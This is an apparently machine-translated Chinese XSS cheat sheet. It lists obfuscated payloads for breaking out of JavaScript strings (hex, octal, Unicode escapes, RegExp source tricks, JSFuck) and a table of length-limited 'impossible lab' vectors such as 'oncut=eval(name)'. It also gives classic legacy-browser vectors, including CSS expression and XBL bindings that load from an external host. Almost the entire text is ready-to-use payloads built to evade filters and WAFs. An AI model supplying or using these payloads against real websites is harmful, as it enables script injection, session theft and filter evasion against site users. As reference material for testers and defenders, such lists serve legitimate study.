XSS转换为JavaScript字符串:十六进制转义序列和base64编码的字符串(globalThis)

';globalThis['\x65\x76\x61\x6c']('globalThis["\x61\x6c\x65\x72\x74"](globalThis["\x61\x74\x6f\x62"]("WFNT"))');//

XSS转换为JavaScript字符串:八进制转义序列(窗口)

';window['\141\154\145\162\164']('\130\123\123');//

XSS转换为JavaScript字符串:八进制转义序列(个体)

';self['\141\154\145\162\164']('\130\123\123');//

XSS转换为JavaScript字符串:八进制转义序列(此)

';this['\141\154\145\162\164']('\130\123\123');//

XSS转换为JavaScript字符串:八进制转义序列(顶部)

';top['\141\154\145\162\164']('\130\123\123');//

XSS转换为JavaScript字符串:八进制转义序列(父级)

';parent['\141\154\145\162\164']('\130\123\123');//

XSS转换为JavaScript字符串:八进制转义序列(帧)

';frames['\141\154\145\162\164']('\130\123\123');//

XSS转换为JavaScript字符串:八进制转义序列(globalThis)

';globalThis['\141\154\145\162\164']('\130\123\123');//

XSS转换为JavaScript字符串:Unicode转义(窗口)

';window['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

XSS转换为JavaScript字符串:Unicode转义(个体)

';self['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

XSS转换为JavaScript字符串:Unicode转义(this)

';this['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

XSS转换为JavaScript字符串:Unicode转义(顶部)

';top['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

XSS转换为JavaScript字符串:Unicode转义(父代)

';parent['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

XSS转换为JavaScript字符串:Unicode转义(帧)

';frames['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

XSS转换为JavaScript字符串:Unicode转义(globalThis)

';globalThis['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

XSS转换为JavaScript字符串:RegExp源属性(窗口)

';window[/al/.source+/ert/.source](/XSS/.source);//

XSS转换为JavaScript字符串:RegExp源属性(个体)

';self[/al/.source+/ert/.source](/XSS/.source);//

XSS转换为JavaScript字符串:RegExp源属性(此)

';this[/al/.source+/ert/.source](/XSS/.source);//

XSS转换为JavaScript字符串:RegExp源属性(顶部)

';top[/al/.source+/ert/.source](/XSS/.source);//

XSS转换为JavaScript字符串:RegExp源属性(父级)

';parent[/al/.source+/ert/.source](/XSS/.source);//

XSS转换为JavaScript字符串:RegExp源属性(框架)

';frames[/al/.source+/ert/.source](/XSS/.source);//

XSS转换为JavaScript字符串:RegExp源属性(globalThis)

';globalThis[/al/.source+/ert/.source](/XSS/.source);//

XSS转换为JavaScript字符串:Hieroglyphy / JSFuck(窗口)

';window[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

XSS转换为JavaScript字符串:Hieroglyphy / JSFuck(个体)

';self[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

XSS转换为JavaScript字符串:Hieroglyphy / JSFuck(此)

';this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

XSS转换为JavaScript字符串:Hieroglyphy / JSFuck(顶部)

';top[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

XSS转换为JavaScript字符串:象形文字/ JSFuck(父级)

';parent[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

XSS转换为JavaScript字符串:象形文字/ JSFuck(框架)

';frames[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

XSS转换为JavaScript字符串:Hieroglyphy / JSFuck(globalThis)

';globalThis[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

不可能的实验室

标题 描述 长度限制 最近的向量 链接
基本情况,WAF块<[a-zA-Z]当您不能使用后跟字母数字字符的开放标记时,本实验将捕获该场景。有时,您可以通过完全绕过WAF来解决此问题,但是当那不是一个选择时,该怎么办?.NET的某些版本具有此行为,并且仅在带有<%tag的旧IE中可以利用。不适用不适用🔗
基于脚本的注入,但转义引号,正斜杠和反斜杠我们经常在野外遇到这种情况:您在JavaScript变量中进行了注入,并且可以注入尖括号,但是引号和正斜杠/反斜杠都转义了,因此您不能简单地关闭脚本块。

当您有多个注入点时,我们最需要解决的问题。第一个在基于脚本的上下文中,第二个在HTML中
不适用不适用🔗
innerHTML上下文,但不等于您有一个处理查询字符串和URL的站点,URL解码参数,但均等地分割后分配给innerHTML。在这种情况下,<script>不起作用,我们不能使用=来创建事件。不适用不适用🔗
基本上下文长度限制本实验的注入发生在基本HTML上下文中,但长度限制为15。Filedescriptor提出了一个可以执行16个字符的JavaScript的向量:<q oncut = alert``,但是您可以击败它吗?15< 🔗
属性上下文长度限制长度限制为14个字符的属性内的该实验的上下文。我们想出了一个可以用15个字符执行JavaScript的向量:“ oncut = alert” +加号是一个尾随空格。您认为可以击败它吗?14“ oncut =alert "" 🔗
基本上下文长度限制,任意代码执行JavaScript都很好,但是如果您能做的就是打电话提醒,那有什么用?在本实验中,我们演示了执行任意代码的最短方法。19< < q oncut=eval(name) 🔗
属性上下文长度限制任意代码再次调用alert可以证明您可以调用一个函数,但是我们创建了另一个实验室,以使用任意JavaScript查找最短的基于属性的注入。17见链接🔗
注射发生在车架内但在身体之前我们收到了来自Twitter的关于下一个实验室请求它发生在框架集中,但在带有等于过滤条件的body标签之前。您可能会认为可以插入一个封闭的框架集,然后插入一个脚本块,但这太容易了。不适用不适用🔗

经典向量(XSS加密)

具有JavaScript协议的Image src

<img src="javascript:alert(1)">

带有JavaScript协议的正文背景

<body background="javascript:alert(1)">

随着现代浏览器使用空来源,iframe数据网址不再起作用

<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">

JScript compact是JS的最小版本,未在IE中广泛使用

<a href="#" onclick="jscript.compact:alert(1);">test</a> <a href="#" onclick="JSCRIPT.COMPACT:alert(1);">test</a>

用于Netscape Navigator的JavaScript实体

<a title="&{alert(1)}">XSS</a>

Netscape Navigator曾经支持JavaScript样式表

<link href="xss.js" rel=stylesheet type="text/javascript">

用于消耗标记的按钮

<form><button name=x formaction=x><b>stealme

仅限XBL Firefox <= 2

<div style="-moz-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)"> <div style="\-\mo\z-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)"> <div style="-moz-bindin\67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)"> <div style="-moz-bindin&#x5c;67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">

CSS表达式<= IE7

<div style=xss:expression(alert(1))> <div style=xss:expression(1)-alert(1)> <div style=xss:expressio\6e(alert(1))> <div style=xss:expressio\006e(alert(1))> <div style=xss:expressio\00006e(alert(1))> <div style=xss:expressio\6e(alert(1))> <div style=xss:expressio&#x5c;6e(alert(1))>

在怪癖模式下,IE允许您使用=代替:

<div style=xss=expression(alert(1))> <div style="color&#x3dred">test</div>

GreyMagic HTML + time漏洞利用(即使在5 docmode下也不再起作用)

<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<img src=1 onerror=alert(1)>"> </BODY></HTML>

Firefox在&之后允许NULL

<a href="javascript&#x6a;avascript:alert(1)">Firefox</a>

Firefox允许在命名实体内使用NULL

<a href="javascript&colon;alert(1)">Firefox</a>

Safari曾经允许任何标签在SVG内部包含onload事件

<svg><xss onload=alert(1)>